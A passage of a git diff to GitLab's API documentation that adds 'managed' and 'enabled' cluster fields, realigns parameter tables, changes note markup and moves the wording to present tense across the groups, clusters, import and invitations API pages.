domain](../user/group/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** | Example request: @@ -184,6 +193,8 @@ Example response: "id":24, "name":"cluster-5", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -223,19 +234,21 @@ PUT /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | - -NOTE: **Note:** +| Attribute | Type | Required | Description | +| ----------------------------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------ | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/group/clusters/index.md#base-domain) of the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `environment_scope` | string | no | The associated environment to the cluster **(PREMIUM)** | + +NOTE: `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added through the ["Add existing Kubernetes cluster"](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or through the ["Add existing cluster to group"](#add-existing-cluster-to-group) endpoint. @@ -256,6 +269,8 @@ Example response: "name":"new-cluster-name", "domain":"new-domain.com", "created_at":"2019-01-03T21:53:40.610Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", "environment_scope":"*", @@ -304,10 +319,10 @@ DELETE /groups/:id/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | -------------- | -------- | ----------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md index 5677cb51c37..bf8c889b031 100644 --- a/doc/api/group_import_export.md +++ b/doc/api/group_import_export.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Import/Export API @@ -92,7 +92,7 @@ by `@`. For example: curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "name=imported-group" --form "path=imported-group" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import" ``` -NOTE: **Note:** +NOTE: The maximum import file size can be set by the Administrator, default is 50MB. As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](settings.md#change-application-settings) or the [Admin UI](../user/admin_area/settings/account_and_limit_settings.md). diff --git a/doc/api/group_iterations.md b/doc/api/group_iterations.md index eb6a99a430e..d96f0881088 100644 --- a/doc/api/group_iterations.md +++ b/doc/api/group_iterations.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group iterations API **(STARTER)** diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md index f11a4d8ccc9..65c28e80f0a 100644 --- a/doc/api/group_labels.md +++ b/doc/api/group_labels.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group Labels API @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w This API supports managing of [group labels](../user/project/labels.md#project-labels-and-group-labels). It allows to list, create, update, and delete group labels. Furthermore, users can subscribe and unsubscribe to and from group labels. -NOTE: **Note:** +NOTE: The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413). ## List group labels @@ -175,7 +175,7 @@ Example response: } ``` -NOTE: **Note:** +NOTE: An older endpoint `PUT /groups/:id/labels` with `name` in the parameters is still available, but deprecated. ## Delete a group label @@ -195,7 +195,7 @@ DELETE /groups/:id/labels/:label_id curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/labels/bug" ``` -NOTE: **Note:** +NOTE: An older endpoint `DELETE /groups/:id/labels` with `name` in the parameters is still available, but deprecated. ## Subscribe to a group label diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index 6997ebdede4..551bd473970 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group-level Variables API diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md index a2acf2c8fb1..2c56b2c501d 100644 --- a/doc/api/group_milestones.md +++ b/doc/api/group_milestones.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group milestones API diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md index c61a557fcc6..f8804d1eadc 100644 --- a/doc/api/group_wikis.md +++ b/doc/api/group_wikis.md @@ -1,7 +1,7 @@ --- stage: Create group: Knowledge -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/groups.md b/doc/api/groups.md index 0a584795d21..b4d36b568b8 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Groups API @@ -338,8 +338,8 @@ Example response: ] ``` -NOTE: **Note:** -To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` will be different from the group the request is being made for. +NOTE: +To distinguish between a project in the group and a project shared to the group, the `namespace` attribute can be used. When a project has been shared to the group, its `namespace` differs from the group the request is being made for. ## List a group's shared projects @@ -479,7 +479,7 @@ Example response: ## Details of a group Get all details of a group. This endpoint can be accessed without authentication -if the group is publicly accessible. In case the user that requests is admin of the group, it will return the `runners_token` for the group too. +if the group is publicly accessible. In case the user that requests is admin of the group, it returns the `runners_token` for the group too. ```plaintext GET /groups/:id @@ -491,10 +491,10 @@ Parameters: | ------------------------ | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. | | `with_custom_attributes` | boolean | no | Include [custom attributes](custom_attributes.md) in response (admins only). | -| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [will be removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | +| `with_projects` | boolean | no | Include details from projects that belong to the specified group (defaults to `true`). (Deprecated, [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use the [list a group's projects endpoint](#list-a-groups-projects).) | -NOTE: **Note:** -The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). +NOTE: +The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint. ```shell @@ -670,7 +670,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit` and `extra_shared_runners_minutes_limit` parameters: Additional response parameters: @@ -685,7 +685,7 @@ Additional response parameters: } ``` -Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Silver, Premium, or higher](https://about.gitlab.com/pricing/) also see the `marked_for_deletion_on` attribute: ```json @@ -697,7 +697,7 @@ the `marked_for_deletion_on` attribute: } ``` -When adding the parameter `with_projects=false`, projects will not be returned. +When adding the parameter `with_projects=false`, projects aren't returned. ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4?with_projects=false" @@ -790,7 +790,7 @@ The `shared_runners_setting` attribute determines whether shared runners are ena ## New Subgroup -This is similar to creating a [New group](#new-group). You'll need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired: +This is similar to creating a [New group](#new-group). You need the `parent_id` from the [List groups](#list-groups) call. You can then enter the desired: - `subgroup_path` - `subgroup_name` @@ -853,8 +853,8 @@ PUT /groups/:id | `extra_shared_runners_minutes_limit` | integer | no | **(STARTER ONLY)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). | | `prevent_forking_outside_group` | boolean | no | **(PREMIUM)** When enabled, users can **not** fork projects from this group to external namespaces -NOTE: **Note:** -The `projects` and `shared_projects` attributes in the response are deprecated and will be [removed in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). +NOTE: +The `projects` and `shared_projects` attributes in the response are deprecated and [scheduled for removal in API v5](https://gitlab.com/gitlab-org/gitlab/-/issues/213797). To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint. ```shell @@ -948,7 +948,7 @@ Only available to group owners and administrators. This endpoint either: - Removes group, and queues a background job to delete all projects in the group as well. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). +- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion happens 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). ```plaintext DELETE /groups/:id @@ -960,7 +960,7 @@ Parameters: | --------------- | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -The response will be `202 Accepted` if the user has authorization. +The response is `202 Accepted` if the user has authorization. ## Restore group marked for deletion **(PREMIUM)** @@ -1074,7 +1074,7 @@ POST /groups/:id/hooks | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | +| `token` | string | no | Secret token to validate received payloads; not returned in the response | ### Edit group hook @@ -1102,7 +1102,7 @@ PUT /groups/:id/hooks/:hook_id | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | -| `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | +| `token` | string | no | Secret token to validate received payloads; not returned in the response | ### Delete group hook @@ -1170,12 +1170,12 @@ POST /groups/:id/ldap_group_links | `group_access` | integer | yes | Minimum [access level](members.md#valid-access-levels) for members of the LDAP group | | `provider` | string | yes | LDAP provider for the LDAP group link | -NOTE: **Note:** +NOTE: To define the LDAP group link, provide either a `cn` or a `filter`, but not both. ### Delete LDAP group link **(STARTER ONLY)** -Deletes an LDAP group link. Deprecated. Will be removed in a future release. +Deletes an LDAP group link. Deprecated. Scheduled for removal in a future release. ```plaintext DELETE /groups/:id/ldap_group_links/:cn @@ -1186,7 +1186,7 @@ DELETE /groups/:id/ldap_group_links/:cn | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `cn` | string | yes | The CN of an LDAP group | -Deletes an LDAP group link for a specific LDAP provider. Deprecated. Will be removed in a future release. +Deletes an LDAP group link for a specific LDAP provider. Deprecated. Scheduled for removal in a future release. ```plaintext DELETE /groups/:id/ldap_group_links/:provider/:cn @@ -1213,7 +1213,7 @@ DELETE /groups/:id/ldap_group_links | `filter` | string | no | The LDAP filter for the group | | `provider` | string | yes | LDAP provider for the LDAP group link | -NOTE: **Note:** +NOTE: To delete the LDAP group link, provide either a `cn` or a `filter`, but not both. ## Namespaces in groups @@ -1306,7 +1306,7 @@ GET /groups/:id/push_rule } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) will also see +Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) also see the `commit_committer_check` and `reject_unsigned_commits` parameters: ```json @@ -1334,15 +1334,15 @@ POST /groups/:id/push_rule | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | | `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | | `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | | `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | | `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | | `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" @@ -1381,15 +1381,15 @@ PUT /groups/:id/push_rule | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | | `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | | `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only | -| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected | | `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | -| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` | | `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | | `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | -| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` | | `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | -| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | -| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" diff --git a/doc/api/import.md b/doc/api/import.md index 27f5915b206..3a1edcb732d 100644 --- a/doc/api/import.md +++ b/doc/api/import.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import API @@ -50,10 +50,10 @@ Example response: Import your projects from Bitbucket Server to GitLab via the API. -NOTE: **Note:** +NOTE: The Bitbucket Project Key is only used for finding the repository in Bitbucket. You must specify a `target_namespace` if you want to import the repository to a GitLab group. -If you do not specify `target_namespace`, the project will import to your personal user namespace. +If you do not specify `target_namespace`, the project imports to your personal user namespace. ```plaintext POST /import/bitbucket_server @@ -71,7 +71,7 @@ POST /import/bitbucket_server ```shell curl --request POST \ - --url https://gitlab.example.com/api/v4/import/bitbucket_server \ + --url "https://gitlab.example.com/api/v4/import/bitbucket_server" \ --header "content-type: application/json" \ --header "PRIVATE-TOKEN: 9koXpg98eAheJpvBs5tK" \ --data '{ diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md index bc4eca5abfd..d5c033563d6 100644 --- a/doc/api/instance_clusters.md +++ b/doc/api/instance_clusters.md @@ -1,17 +1,17 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instance clusters API > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36001) in GitLab 13.2. -NOTE: **Note:** -User will need admin access to use these endpoints. +Instance-level Kubernetes clusters allow you to connect a Kubernetes cluster to the GitLab instance, which enables you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md) -Use these API endpoints with your instance clusters, which enable you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md) +NOTE: +Users need admin access to use these endpoints. ## List instance clusters @@ -35,6 +35,8 @@ Example response: "id": 9, "name": "cluster-1", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -98,9 +100,9 @@ Returns a single instance cluster. Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | --------------------- | +| `cluster_id` | integer | yes | The ID of the cluster | ```plaintext GET /admin/clusters/:cluster_id @@ -119,6 +121,8 @@ Example response: "id": 9, "name": "cluster-1", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -153,19 +157,19 @@ POST /admin/clusters/add Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `name` | string | yes | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | -| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | +| Attribute | Type | Required | Description | +| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- | +| `name` | string | yes | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not, defaults to `true` | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster. Defaults to `true` | +| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | +| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. | Example request: @@ -184,6 +188,8 @@ Example response: "id": 11, "name": "cluster-3", "created_at": "2020-07-14T18:42:50.805Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -218,20 +224,21 @@ PUT /admin/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | -| `name` | string | no | The name of the cluster | -| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | -| `environment_scope` | string | no | The associated environment to the cluster | -| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | -| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true | -| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | -| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | -| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | -| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | - -NOTE: **Note:** +| Attribute | Type | Required | Description | +| ------------------------------------------- | ------- | -------- | ------------------------------------------------------------------------------------------ | +| `cluster_id` | integer | yes | The ID of the cluster | +| `name` | string | no | The name of the cluster | +| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster | +| `environment_scope` | string | no | The associated environment to the cluster | +| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster | +| `enabled` | boolean | no | Determines if cluster is active or not | +| `managed` | boolean | no | Determines if GitLab manages namespaces and service accounts for this cluster | +| `platform_kubernetes_attributes[api_url]` | string | no | The URL to access the Kubernetes API | +| `platform_kubernetes_attributes[token]` | string | no | The token to authenticate against Kubernetes | +| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. | +| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project | + +NOTE: `name`, `api_url`, `ca_cert` and `token` can only be updated if the cluster was added through the [Add existing Kubernetes cluster](../user/project/clusters/add_remove_clusters.md#add-existing-cluster) option or through the [Add existing instance cluster](#add-existing-instance-cluster) endpoint. @@ -252,6 +259,8 @@ Example response: "id": 9, "name": "update-cluster-name", "created_at": "2020-07-14T18:36:10.440Z", + "managed": true, + "enabled": true, "domain": null, "provider_type": "user", "platform_type": "kubernetes", @@ -288,9 +297,9 @@ DELETE /admin/clusters/:cluster_id Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `cluster_id` | integer | yes | The ID of the cluster | +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | --------------------- | +| `cluster_id` | integer | yes | The ID of the cluster | Example request: diff --git a/doc/api/instance_level_ci_variables.md b/doc/api/instance_level_ci_variables.md index e8550d41c44..58e69e22a15 100644 --- a/doc/api/instance_level_ci_variables.md +++ b/doc/api/instance_level_ci_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instance-level CI/CD variables API diff --git a/doc/api/invitations.md b/doc/api/invitations.md index 00dc4252380..0891a343cce 100644 --- a/doc/api/invitations.md +++ b/doc/api/invitations.md @@ -1,7 +1,7 @@ --- stage: Growth group: Expansion -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Invitations API @@ -15,15 +15,16 @@ To send an invitation, you must have access to the project or group you are send levels are defined in the `Gitlab::Access` module. Currently, these levels are valid: - No access (`0`) +- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.) - Guest (`10`) - Reporter (`20`) - Developer (`30`) - Maintainer (`40`) - Owner (`50`) - Only valid to set for groups -CAUTION: **Caution:** +WARNING: Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), -projects in personal namespaces will not show owner (`50`) permission. +projects in personal namespaces don't show owner (`50`) permission. ## Invite by email to group or project diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md index 41e2dd7c147..b94207f8e16 100644 --- a/doc/api/issue_links.md +++ b/doc/api/issue_links.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue links API **(CORE)** @@ -12,7 